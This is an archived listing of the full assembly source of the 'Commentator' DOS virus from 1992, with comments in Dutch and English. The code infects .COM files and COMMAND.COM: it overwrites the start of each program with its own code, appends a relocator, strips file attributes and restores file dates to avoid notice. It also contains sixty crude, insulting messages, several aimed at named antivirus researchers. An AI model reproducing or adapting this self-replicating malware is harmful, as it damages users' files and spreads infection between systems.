home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / COMMENT1.ASM < prev    next >
Assembly Source File  |  1992-11-29  |  14KB  |  335 lines

  1. ;┌─────────────────────────────────────────────────────────────────────────────┐
  2. ;│                      Commentator Virus by Glenn...                          │
  3. ;├─────────────────────────────────────────────────────────────────────────────┤
  4. ;│ This will be a Parasytic Non-Resident .COM infector.                        │
  5. ;│ It will also infect COMMAND.COM.                                            │
  6. ;└─────────────────────────────────────────────────────────────────────────────┘
  7. .MODEL TINY
  8.  
  9. Public          VirLen,MovLen
  10.  
  11. Code        Segment para 'Code'
  12. Assume        Cs:Code,Ds:Code,Es:Code
  13.  
  14.         Org 100h
  15.  
  16. Signature       Equ 0DaDah      ; Signature of virus!
  17.  
  18. Buff1           Equ 0F100h
  19. Buff2        Equ Buff1+2
  20. VirLen        Equ Offset Einde-Offset Begin
  21. MovLen        Equ Offset Einde-Offset Mover
  22. DTA             Equ 0F000h
  23. Proggie         Equ DTA+1Eh
  24. Lenny           Equ DTA+1Ah
  25.  
  26. MinLen          Equ Virlen   ;Minimale lengte te besmetten programma
  27. MaxLen          Equ 0EF00h      ; Maximale lengte te besmetten programma
  28.  
  29. ;────────────────────────────────────────────────────────────────────
  30. ; This part will contain the actual virus code, for searching the
  31. ; next victim and infection of it.
  32. ;────────────────────────────────────────────────────────────────────
  33.  
  34. Begin:
  35.         Jmp Short OverSig    ; Sprong naar Oversig vanwege kenmerk
  36.                 DW Signature            ; Herkenningsteken virus
  37. Oversig:
  38.                 Pushf                   ;------------------
  39.         Push AX            ; Alle registers opslaan voor
  40.         Push BX            ; later gebruik van het programma
  41.         Push CX                 ;
  42.         Push DX                 ;
  43.         Push DS                 ;
  44.         Push ES                 ;
  45.         Push SS                 ;
  46.         Push SI                 ;
  47.         Push DI                 ;------------------
  48. InfectPart:
  49.         Mov AX,Sprong           ;------------------
  50.         Mov Buf1,AX             ; Spronggegevens bewaren om
  51.         Mov BX,Source           ; besmette programma te starten
  52.         Mov Buf2,BX             ;------------------
  53.         Mov AH,1Ah        ; DTA area instellen op
  54.                 Mov DX,DTA              ; $DTA area
  55.         Int 21h                 ;------------------
  56. Vindeerst:    Mov AH,4Eh        ; Zoeken naar 1e .COM file in directory
  57.         Mov Cx,1        ;
  58.         Lea DX,FindPath         ;
  59.         Int 21h                 ;------------------
  60.         Jnc KijkInfected    ; Geen gevonden, goto Afgelopen
  61.         Jmp Afgelopen        ;------------------
  62. KijkInfected:
  63.                 Mov DX,Cs:[Lenny]       ;------------------
  64.         Cmp DX,MinLen           ; Kijken of programmalengte voldoet
  65.         Jb  ZoekNext            ; aan de eisen van het virus
  66.                 Cmp DX,MaxLen           ;
  67.                 Ja  ZoekNext            ;------------------
  68. On2:        Mov AH,3Dh        ; Zo ja , file openen en file handle
  69.         Mov AL,2        ; opslaan
  70.         Mov DX,Proggie        ;
  71.         Int 21h            ;
  72.         Mov FH,AX               ;------------------
  73.           Mov BX,AX               ;
  74.          Mov AH,3Fh              ; Lezen 1e 4 bytes van een file met
  75.          Mov CX,4                ; een mogelijk kenmerk van het virus
  76.         Mov DX,Buff1            ;
  77.         Int 21h                 ;------------------
  78. Sluiten:    Mov AH,3Eh        ; File weer sluiten
  79.         Int 21h            ;------------------
  80.         Mov AX,CS:[Buff2]    ; Vergelijken inhoud lokatie Buff1+2
  81.                 Cmp AX,Signature        ; met Signature. Niet gelijk : Zoeken op
  82.                 Jnz Infect              ; morgoth virus. Als bestand al besmet
  83. ZoekNext:
  84.         Mov AH,4Fh              ;------------------
  85.         Int 21h                 ; Zoeken naar volgende .COM file
  86.         Jnc KijkInfected        ; Geen gevonden, goto Afgelopen
  87.                 Jmp Afgelopen           ;------------------
  88. Infect:
  89.                 Mov DX,Proggie            ; beveiliging weghalen
  90.         Mov AH,43h              ;
  91.         Mov AL,1                ;
  92.                 Xor CX,Cx
  93.         Int 21h                 ;------------------
  94.         Mov AH,3Dh        ; Bestand openen
  95.         Mov AL,2                ;
  96.                 Mov DX,Proggie          ;
  97.         Int 21h                 ;------------------
  98.         Mov FH,AX        ; Opslaan op stack van
  99.         Mov BX,AX               ; datum voor later gebruik
  100.         Mov AH,57H              ;
  101.         Mov AL,0                ;
  102.         Int 21h                 ;
  103.         Push CX                 ;
  104.         Push DX                 ;------------------
  105.         Mov AH,3Fh              ; Inlezen van eerste deel van het
  106.         Mov CX,VirLen+2        ; programma om later terug te
  107.         Mov DX,Buff1            ; kunnen plaatsen.
  108.         Int 21h                 ;------------------
  109.         Mov AH,42H        ; File Pointer weer naar het
  110.         Mov AL,2        ; einde van het programma
  111.         Xor CX,CX        ; zetten
  112.         Xor DX,DX        ;
  113.         Int 21h                 ;------------------
  114.         Xor DX,DX        ; Bepalen van de variabele sprongen
  115.         Add AX,100h             ; in het virus (move-routine)
  116.         Mov Sprong,AX           ;
  117.         Add AX,MovLen        ;
  118.         Mov Source,AX           ;------------------
  119.         Mov AH,40H              ; Move routine bewaren aan
  120.                 Mov DX,Offset Mover     ; einde van file
  121.         Mov CX,MovLen           ;
  122.         Int 21h                 ;------------------
  123.         Mov AH,40H              ; Eerste deel programma aan-
  124.         Mov DX,Buff1            ; voegen na Move routine
  125.         Mov CX,VirLen           ;
  126.         Int 21h                 ;------------------
  127.                 Mov AH,42h              ; File Pointer weer naar
  128.         Mov AL,0        ; het begin van file
  129.         Xor CX,CX               ; sturen
  130.         Xor DX,DX               ;
  131.         Int 21h                 ;------------------
  132.         Mov AH,40h              ; En programma overschrijven
  133.         Mov DX,Offset Begin     ; met code van het virus
  134.         Mov CX,VirLen           ;
  135.         Int 21h                 ;------------------
  136.         Mov AH,57h        ; Datum van aangesproken file
  137.         Mov AL,1                ; weer herstellen
  138.         Pop DX                  ;
  139.         Pop CX                  ;
  140.         Int 21h                 ;------------------
  141.         Mov AH,3Eh        ; Sluiten file
  142.         Int 21h                 ;------------------
  143. Afgelopen:    Mov BX,Buf2             ; Sprongvariabelen weer
  144.         Mov Source,BX           ; op normaal zetten voor
  145.         Mov AX,Buf1             ; de Move routine
  146.         Mov Sprong,AX           ;------------------
  147.         Mov AH,1Ah              ; DTA adres weer op normaal
  148.         Mov Dx,80h              ; zetten en naar de Move
  149.         Int 21h                 ; routine springen
  150.                 Mov Ah,2Ch
  151.                 Int 21h
  152.                 Xor DL,DL
  153.                 Xchg Dh,Dl
  154.                 Add Dx,Dx
  155. ;               And Dx,11111110b
  156.                 Add Dx,Offset MsgTab
  157.                 Mov Si,Dx
  158.                 Mov Dx,Cs:[SI]
  159.                 Mov AH,9
  160.                 Int 21h
  161.                 Jmp CS:[Sprong]         ;------------------
  162.  
  163. Msgtab          DW offset Msg1
  164.                 DW offset Msg2
  165.                 DW offset Msg3
  166.                 DW offset Msg4
  167.                 DW offset Msg5
  168.                 DW offset Msg6
  169.                 DW offset Msg7
  170.                 DW offset Msg8
  171.                 DW offset Msg9
  172.                 DW offset Msg10
  173.                 DW offset Msg11
  174.                 DW offset Msg12
  175.                 DW offset Msg13
  176.                 DW offset Msg14
  177.                 DW offset Msg15
  178.                 DW offset Msg16
  179.                 DW offset Msg17
  180.                 DW offset Msg18
  181.                 DW offset Msg19
  182.                 DW offset Msg20
  183.                 DW offset Msg21
  184.                 DW offset Msg22
  185.                 DW offset Msg23
  186.                 DW offset Msg24
  187.                 DW offset Msg25
  188.                 DW offset Msg26
  189.                 DW offset Msg27
  190.                 DW offset Msg28
  191.                 DW offset Msg29
  192.                 DW offset Msg30
  193.                 DW offset Msg31
  194.                 DW offset Msg32
  195.                 DW offset Msg33
  196.                 DW offset Msg34
  197.                 DW offset Msg35
  198.                 DW offset Msg36
  199.                 DW offset Msg37
  200.                 DW offset Msg38
  201.                 DW offset Msg39
  202.                 DW offset Msg40
  203.                 DW offset Msg41
  204.                 DW offset Msg42
  205.                 DW offset Msg43
  206.                 DW offset Msg44
  207.                 DW offset Msg45
  208.                 DW offset Msg46
  209.                 DW offset Msg47
  210.                 DW offset Msg48
  211.                 DW offset Msg49
  212.                 DW offset Msg50
  213.                 DW offset Msg51
  214.                 DW offset Msg52
  215.                 DW offset Msg53
  216.                 DW offset Msg54
  217.                 DW offset Msg55
  218.                 DW offset Msg56
  219.                 DW offset Msg57
  220.                 DW offset Msg58
  221.                 DW offset Msg59
  222.                 DW offset Msg60
  223.  
  224. Msg1            Db 13,10,'McAfee is a bum-hole',13,10,'$'
  225. Msg2            Db 13,10,'Patricia Hoffman is a virgin',13,10,'$'
  226. Msg3            Db 13,10,'David Grant is a shithead',13,10,'$'
  227. Msg4            Db 13,10,'Jan Terpstra sucks',13,10,'$'
  228. Msg5            Db 13,10,'Vesselin Bontchev is a lamer',13,10,'$'
  229. Msg6            Db 13,10,'Righard Zwienenberg is a cowboy',13,10,'$'
  230. Msg7            Db 13,10,'Greetings to Cracker Jack in Italy',13,10,'$'
  231. Msg8            Db 13,10,'MS-DOS could be programmed better',13,10,'$'
  232. Msg9            Db 13,10,'A virus may not hang, it must replicate!',13,10,'$'
  233. Msg10           Db 13,10,'(C) by Glenn Benton DVRL',13,10,'$'
  234. Msg11           Db 13,10,'HAHAHA you have a virus',13,10,'$'
  235. Msg12           Db 13,10,'Dutch Virus Research Laboratory',13,10,'$'
  236. Msg13           Db 13,10,'Program to big to fit in ass',13,10,'$'
  237. Msg14           Db 13,10,'Another program bites the dust',13,10,'$'
  238. Msg15           Db 13,10,'Havahey! Another Me born to serve',13,10,'$'
  239. Msg16           Db 13,10,'Deicide wasnt that good after all...',13,10,'$'
  240. Msg17           Db 13,10,'DEICIDE, MORGOTH, BREEZE, BROTHER by Glenn Benton',13,10,'$'
  241. Msg18           Db 13,10,'Hey! Gimme some more disks!',13,10,'$'
  242. Msg19           Db 13,10,'Stealth techniques are cool',13,10,'$'
  243. Msg20           Db 13,10,'Encryption is usefull...',13,10,'$'
  244. Msg21           Db 13,10,'Stephanie my lovely girl',13,10,'$'
  245. Msg22           Db 13,10,'FPROT is compiled BASIC',13,10,'$'
  246. Msg23           Db 13,10,'Fuck da police!',13,10,'$'
  247. Msg24           Db 13,10,'Source soon aveable for jokes!',13,10,'$'
  248. Msg25           Db 13,10,'Why dont you play with something else?',13,10,'$'
  249. Msg26           Db 13,10,'Thanks to BORLAND for Turbo Assembler',13,10,'$'
  250. Msg27           Db 13,10,'It is time for NORTON SPEED DISK',13,10,'$'
  251. Msg28           Db 13,10,'Donald duck is a lie...',13,10,'$'
  252. Msg29           Db 13,10,'Why dont you buy me a CHEESEBURGER?',13,10,'$'
  253. Msg30           Db 13,10,'Wim Kok is a COMMUNIST!!!!',13,10,'$'
  254.  
  255. Msg31           Db 13,10,'Xabaras could be better',13,10,'$'
  256. Msg32           Db 13,10,'FAT has a nice technique',13,10,'$'
  257. Msg33           Db 13,10,'This virus is not resident!',13,10,'$'
  258. Msg34           Db 13,10,'Nobody like debugging...',13,10,'$'
  259. Msg35           Db 13,10,'60 Messages in here?',13,10,'$'
  260. Msg36           Db 13,10,'Out of worktime',13,10,'$'
  261. Msg37           Db 13,10,'RAM parity error',13,10,'$'
  262. Msg38           Db 13,10,'Insert porn magazine in drive A',13,10,'$'
  263. Msg39           Db 13,10,'Insert tracktor toilet paper in printer',13,10,'$'
  264. Msg40           Db 13,10,'Upload this virus to McAfee, please',13,10,'$'
  265. Msg41           Db 13,10,'HIP-HOP sucks!',13,10,'$'
  266. Msg42           Db 13,10,'Vote for Saddam.',13,10,'$'
  267. Msg43           Db 13,10,'DEAD BY DAWN',13,10,'$'
  268. Msg44           Db 13,10,'NAIL HIM LIKE JESUS!',13,10,'$'
  269. Msg45           Db 13,10,'May I fuck with your wife?',13,10,'$'
  270. Msg46           Db 13,10,'Hey CJ! What abouth a Corporation (I&DVRL)',13,10,'$'
  271. Msg47           Db 13,10,'Thanx to Oliver North for giving me TASM',13,10,'$'
  272. Msg48           Db 13,10,'Do not use drugs, make a virus!',13,10,'$'
  273. Msg49           Db 13,10,'Register this produkt!',13,10,'$'
  274. Msg50           Db 13,10,'This virus is SHAREWARE',13,10,'$'
  275. Msg51           Db 13,10,'You will hate me for this',13,10,'$'
  276. Msg52           Db 13,10,'See the sunny side of life',13,10,'$'
  277. Msg53           Db 13,10,'DAME EDNA IS COOL!',13,10,'$'
  278. Msg54           Db 13,10,'I like the pope, the pope smokes dope!',13,10,'$'
  279. Msg55           Db 13,10,'We like the pope, he gives us his dope!',13,10,'$'
  280. Msg56           Db 13,10,'Are you FLINTSTONED???',13,10,'$'
  281. Msg57           Db 13,10,'How about a game of STRIP-POKER?',13,10,'$'
  282. Msg58           Db 13,10,'FACES OF DEATH!',13,10,'$'
  283. Msg59           Db 13,10,'Just one more message!!!',13,10,'$'
  284. Msg60           Db 13,10,'Spread this like hell!',13,10,'$'
  285.  
  286. ;────────────────────────────────────────────────────────────────────
  287. ; All variables are stored in here, like filehandle, date/time,
  288. ; search path and various buffers.
  289. ;────────────────────────────────────────────────────────────────────
  290.  
  291. FH          DW 0
  292. FindPath        DB '*.COM',0
  293.  
  294. Buf1        DW 0
  295. Buf2            DW 0
  296.  
  297. Sprong        DW 0
  298. Source        DW 0
  299.  
  300. ;────────────────────────────────────────────────────────────────────
  301. ; This will contain the relocator routine, located at the end of
  302. ; the ORIGINAL file. This will tranfer the 1st part of the program
  303. ; to it's original place.
  304. ;────────────────────────────────────────────────────────────────────
  305. Mover:
  306.         Mov DI,Offset Begin    ;------------------
  307.         Mov SI,Source           ; Verplaatsen van het 1e deel
  308.         Mov CX,VirLen-1         ; van het programma, wat achter
  309.         Rep Movsb               ;------------------
  310.         Pop DI            ; Opgeslagen registers weer
  311.         Pop SI                  ; terugzetten op originele
  312.         Pop SS                  ; waarde en springen naar
  313.         Pop ES                  ; het begin van het programma
  314.         Pop DS                  ; (waar nu het virus niet meer
  315.         Pop DX                  ; staat)
  316.         Pop CX                  ;
  317.         Pop BX                  ;
  318.         Pop AX                  ;
  319.         Popf                    ;
  320.         Mov BX,100h             ;
  321.         Jmp BX             ;------------------
  322.  
  323. ;────────────────────────────────────────────────────────────────────
  324. ; Only the end of the virus is stored in here.
  325. ;────────────────────────────────────────────────────────────────────
  326. Einde        db 0
  327.  
  328. Code            Ends
  329. End             Begin
  330.  
  331. ;  ─────────────────────────────────────────────────────────────────────────
  332. ;  ────────────────────> and Remember Don't Forget to Call <────────────────
  333. ;  ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  334. ;  ─────────────────────────────────────────────────────────────────────────
  335.